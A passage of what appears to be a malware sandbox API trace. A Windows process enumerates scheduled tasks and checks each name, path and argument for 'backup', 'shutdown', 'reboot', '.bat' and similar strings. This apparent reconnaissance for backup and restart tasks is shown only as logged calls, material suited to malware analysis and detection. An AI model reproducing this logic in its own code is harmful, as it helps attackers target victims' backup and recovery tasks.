pArgument=0x5cf9f0*="-SqlLiteRecoveryTask") returned 0x0 [0210.407] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6caad0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0210.407] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0210.408] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.408] IUnknown:Release (This=0x2463688) returned 0x2 [0210.408] IUnknown:Release (This=0x2463688) returned 0x1 [0210.408] IActionCollection:get_Item (in: This=0x47fcb8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.408] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.408] IUnknown:Release (This=0x2463748) returned 0x1 [0210.408] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.408] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.408] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.408] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.408] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateRecordPath") returned 0x0 [0210.408] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.409] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0210.409] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0210.410] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.410] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.415] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.415] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.415] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.415] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.415] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.415] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.415] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.415] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.415] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.415] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0210.415] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0210.415] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0210.415] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0210.415] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0210.416] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0210.416] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0210.416] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0210.416] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0210.416] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.416] IUnknown:Release (This=0x2463748) returned 0x2 [0210.416] IUnknown:Release (This=0x2463748) returned 0x1 [0210.416] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.416] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.416] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.416] IUnknown:Release (This=0x2463648) returned 0x0 [0210.416] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.416] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0210.417] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0210.417] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0210.417] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0210.417] IUnknown:Release (This=0x2463648) returned 0x0 [0210.417] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2464f20) returned 0x0 [0210.417] ITaskFolderCollection:get_Count (in: This=0x2464f20, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0210.417] IUnknown:Release (This=0x2464f20) returned 0x0 [0210.418] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0210.418] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.418] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.418] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.418] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.418] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.418] IUnknown:Release (This=0x2463648) returned 0x0 [0210.418] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.419] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.419] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.419] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.419] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.419] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.419] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.419] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.419] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="HotStart") returned 0x0 [0210.419] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.421] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0210.421] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0210.421] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0210.421] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0210.421] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ed0) returned 0x0 [0210.425] ITaskDefinition:get_Actions (in: This=0x2464ed0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f48) returned 0x0 [0210.426] IActionCollection:get_Count (in: This=0x2464f48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.426] IActionCollection:get_Item (in: This=0x2464f48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.426] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.426] IUnknown:Release (This=0x2463788) returned 0x1 [0210.426] IUnknown:Release (This=0x2464f48) returned 0x1 [0210.426] IUnknown:Release (This=0x2464ed0) returned 0x0 [0210.426] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.426] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.426] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.427] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.427] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.427] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.427] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.427] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.540] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.540] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x24635a8) returned 0x0 [0210.540] IRegisteredTask:get_Name (in: This=0x24635a8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="LPRemove") returned 0x0 [0210.540] IRegisteredTask:get_State (in: This=0x24635a8, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.542] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0210.542] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0210.542] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0210.542] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0210.542] IRegisteredTask:get_Definition (in: This=0x24635a8, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464e78) returned 0x0 [0210.549] ITaskDefinition:get_Actions (in: This=0x2464e78, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464ef0) returned 0x0 [0210.549] IActionCollection:get_Count (in: This=0x2464ef0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.549] IActionCollection:get_Item (in: This=0x2464ef0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.549] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.549] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0210.549] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\lpremove.exe") returned 0x0 [0210.549] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0210.549] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0210.550] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.550] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0210.550] IUnknown:Release (This=0x2463788) returned 0x2 [0210.550] IUnknown:Release (This=0x2463788) returned 0x1 [0210.550] IUnknown:Release (This=0x2464ef0) returned 0x1 [0210.550] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.550] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.550] IUnknown:Release (This=0x2463648) returned 0x0 [0210.550] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.550] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.550] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.550] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.550] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.550] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.551] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.551] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.551] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemSoundsService") returned 0x0 [0210.551] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0210.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0210.553] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0210.553] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.553] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.558] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.558] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.558] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.558] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.558] IUnknown:Release (This=0x2463748) returned 0x1 [0210.558] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.558] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.558] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.558] IUnknown:Release (This=0x2463648) returned 0x0 [0210.558] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.559] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.559] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.559] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.559] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.559] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.559] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.559] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.559] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GatherNetworkInfo") returned 0x0 [0210.559] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.561] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0210.561] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0210.561] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.561] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.568] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.568] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.568] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.568] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.568] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.568] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0210.568] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x50) returned 0x6d71f0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0210.568] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0210.568] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d71f0) returned 1 [0210.569] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0210.569] IUnknown:Release (This=0x2463688) returned 0x2 [0210.569] IUnknown:Release (This=0x2463688) returned 0x1 [0210.569] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.569] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.569] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.569] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.569] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.569] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.569] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.569] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.569] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.569] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.570] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.570] IUnknown:Release (This=0x2463648) returned 0x0 [0210.570] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.570] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.570] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.570] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.570] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.570] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.571] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0210.571] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.571] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Background Synchronization") returned 0x0 [0210.571] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.572] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.572] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.572] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Logon Synchronization") returned 0x0 [0210.572] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.574] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.574] IUnknown:Release (This=0x2463648) returned 0x0 [0210.574] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.574] ITaskFolderCollection:get_Count (in: 